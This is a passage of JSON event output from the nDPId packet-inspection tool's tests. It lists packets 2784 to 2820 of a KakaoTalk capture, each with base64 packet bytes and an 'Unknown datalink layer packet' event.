packet","thread_id":0,"packet_id":2784,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2785,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":663611,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/4\/uAbDPNfrKtQ1Sapdr8rpjIgdrEIrUmpH1mm6Y5tLVPMExHJPf3TQYjyKQflrhKVwOxkdvT\/O8o"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2785,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2786,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":699256,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/CAOAbDPMfrKpg1SapdpCKMKCjAzXM+NJbM12KcLXSz5NKXgrEu1Bk58+JKZRcznhR\/BHhfdIV\/K2"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2786,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2787,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":724372,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/h+aAbDPOfrKxA1Sapdodo5p+1Int73EQRwtuqIQwR3g8U8w9pXKK1KwufD4dy39Ftxx6tBq+l8hn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2787,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2788,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":732581,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKJHuAbFFIi0NPWguGVRlk0J0St\/j+Zx5wGpRu0e1oYeGaLiKqhHfldRh9aYKMsF068CndffqvYVtffw9of9a26PhA3bY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2788,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2789,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":738318,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGIAAEAAPxHbQAoYUrwByQGuLDhaBABOB+CAbFFJi0NTGguGVRmNiep9nP9w0X0I3y9JO5wglAis1AkAqWtLvhRsQD3De+IG3XgnD0MsNKtLuuaUHzdXn12LChTdSJUq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2789,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2790,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":748511,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJFN+AbFFGi0NH2guGVRleFQXWu7HgWRt6BB4zlpnWwey5dkKelQqjidIvmXpaOXb1vcRvfKgr8IDCxtPzu3XIAkcTuw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2790,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2791,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":764533,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/VvuAbDPPfrK0w1SapdpkdOwNEcnX4GmKNeKI6h5IiJGpQYDQJ9h+zkJwzIzj\/npRMFfEp\/rvWI5U"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2791,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2792,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":768561,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGQTuAbFFHi0NLmguGVRmAM+vdF6lnOKbveWXU1tG23l4kce8Vvom233dk5CUUjRKpZzphYrdBFWBs5nDkX\/1jnA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2792,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2793,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":779181,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/3+GAbDPNfrKtQ1Sapdr8rpjIgdrEIrUmpH1mm6Y5tLVPMExHJPf3TQYjyKQflrhKVwOxkdvT\/O8o"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2793,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2794,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":828009,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFAuaAbFFKi0NW2guGVRkW4rnCIG7W\/Rrsacn1R9P8+zi5SikwnmG\/\/YKkgvqVDxdK50B3LuAUk4RGF9ffs2ta"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2794,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2795,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":858588,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/41qAbDPQfrK4g1SapdpSQjl98fqfnOqA63wRWv8T5QDuq3T9vqevj3DSyNfzp+TKuB7SrsA3gPi7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2795,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2796,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":863135,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/g8yAbDPOfrKxA1Sapdodo5p+1Int73EQRwtuqIQwR3g8U8w9pXKK1KwufD4dy39Ftxx6tBq+l8hn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2796,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2797,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":863532,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKKJWAbFFIi0NPWguGVRlk0J0St\/j+Zx5wGpRu0e1oYeGaLiKqhHfldRh9aYKMsF068CndffqvYVtffw9of9a26PhA3bY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2797,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2798,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":863623,"pkt_caplen":56,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":56,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAACih+UAAjgbKWq3CdeUKGFK8AbuV7IoFQj5TpMuVUBSklweYAAA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2798,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2799,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":863715,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGIAAEAAHBH+GAHJAa4KGFK8WgYoHABOC\/qAbFFJi0NTGguGVRmNiep9nP9w0X0I3y9JO5wglAis1AkAqWtLvhRsQD3De+IG3XgnD0MsNKtLuuaUHzdXn12LChTdSJUq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2799,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2800,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":879218,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/UuGAbDPPfrK0w1SapdpkdOwNEcnX4GmKNeKI6h5IiJGpQYDQJ9h+zkJwzIzj\/npRMFfEp\/rvWI5U"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2800,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2801,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":902991,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/UOeAbDPRfrK8Q1Sapdqc83iJb5l456DNS+hZ7VcDcfb98za7md8tY+4dMVHzq2YI64HnS9iXf1w1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2801,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2802,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":932349,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGjfWAbFFLi0NamguGVRngq0ZQcYvBY9e56OCVNgcccfsUDUg3RwlTT1QgciuWdUFA1+dY\/sBMUkOPXrHXaoXGCw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2802,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2803,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":937812,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJS3WAbFFMi0NeWguGVRm2\/ZnmcFfB42XxZ7vCD0hfLDI665Tt\/OAnyhpOfYsrE\/iDH\/Aju08jgwJVlupwQFMmS3CQTQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2803,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2804,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":945258,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/2p2AbDPSfrLAA1Sapdo2BlyBYQCjHwjFHYiZr18DElZ11WVPowRuu5vwOEM0o0x6RBfIwd7O4x58"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2804,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2805,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":947791,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFBwCAbFFKi0NW2guGVRkW4rnCIG7W\/Rrsacn1R9P8+zi5SikwnmG\/\/YKkgvqVDxdK50B3LuAUk4RGF9ffs2ta"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2805,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2806,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069210,"pkt_ts_usec":971839,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/30CAbDPQfrK4g1SapdpSQjl98fqfnOqA63wRWv8T5QDuq3T9vqevj3DSyNfzp+TKuB7SrsA3gPi7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2806,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2807,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":23688,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/C\/+AbDPTfrLDw1SapdrqvJ9+wcGVW6yO4Joi8vl1NyDLTWxfFZEHIE3KBSgHzjWekIizTHoK9jDF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2807,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2808,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":36383,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHibaAbFFNi0NiGguGVRkLqJFERUtuMlHG3SFmshDn1hTeTmBqKGyLWSXFUjwCDHfsBJyPQMjSvk6yFvT8\/RUoydY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2808,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2809,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":38062,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABK80mAbFFOi0Nl2guGVRl7eUVneFzEvL+jDSprnWRghpp+5yeY101o\/10JQqJqUPhZFW25iB5yv+lyKtRTLZn0bLudJho="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2809,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2810,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":43189,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/TM2AbDPRfrK8Q1Sapdqc83iJb5l456DNS+hZ7VcDcfb98za7md8tY+4dMVHzq2YI64HnS9iXf1w1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2810,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2811,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":47187,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGkg+AbFFLi0NamguGVRngq0ZQcYvBY9e56OCVNgcccfsUDUg3RwlTT1QgciuWdUFA1+dY\/sBMUkOPXrHXaoXGCw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2811,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2812,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":59241,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJT4+AbFFMi0NeWguGVRm2\/ZnmcFfB42XxZ7vCD0hfLDI665Tt\/OAnyhpOfYsrE\/iDH\/Aju08jgwJVlupwQFMmS3CQTQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2812,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2813,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":62415,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/zFyAbDPUfrLHg1Sapdryt8qh504SLRMLzgVKu7kNQkXQh0v6OAAb9+dgXV7DP9PcOyAjtK6UBwcd"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2813,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2814,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":68488,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/1oOAbDPSfrLAA1Sapdo2BlyBYQCjHwjFHYiZr18DElZ11WVPowRuu5vwOEM0o0x6RBfIwd7O4x58"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2814,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2815,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":137183,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABG4OyAbFFPi0NpmguGVRkMy00dNZev+pwLiDKx21S0c68Cxz9wVyc7DxEV9C9Zel2SqpxKZrDryo+JKbMNq5FJtg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2815,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2816,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":143225,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ibGAbDPVfrLLQ1SapdphAYxZz4H9q0a\/Y9l37Le2bajhguLMU46Z+PnDPLQq1gpXIWBx33kuokzM"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2816,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2817,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":169043,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/B+WAbDPTfrLDw1SapdrqvJ9+wcGVW6yO4Joi8vl1NyDLTWxfFZEHIE3KBSgHzjWekIizTHoK9jDF"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2817,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2818,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":189490,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHjdCAbFFNi0NiGguGVRkLqJFERUtuMlHG3SFmshDn1hTeTmBqKGyLWSXFUjwCDHfsBJyPQMjSvk6yFvT8\/RUoydY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2818,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2819,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":203681,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/qYSAbDPWfrLPA1SapdoBJvdsDMqNw6BY02P6WYrVymdYweuYtbYipcysFQbG2PW+l97GT7lNTx7\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2819,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2820,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069211,"pkt_ts_usec":207343,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABK92OAbFFOi0Nl2guGVRl7eUVneFzEvL+jDSprnWRghpp+5yeY101o\/10JQqJqUPhZFW25iB5yv+lyKtRTLZn0bLudJho="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2820,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 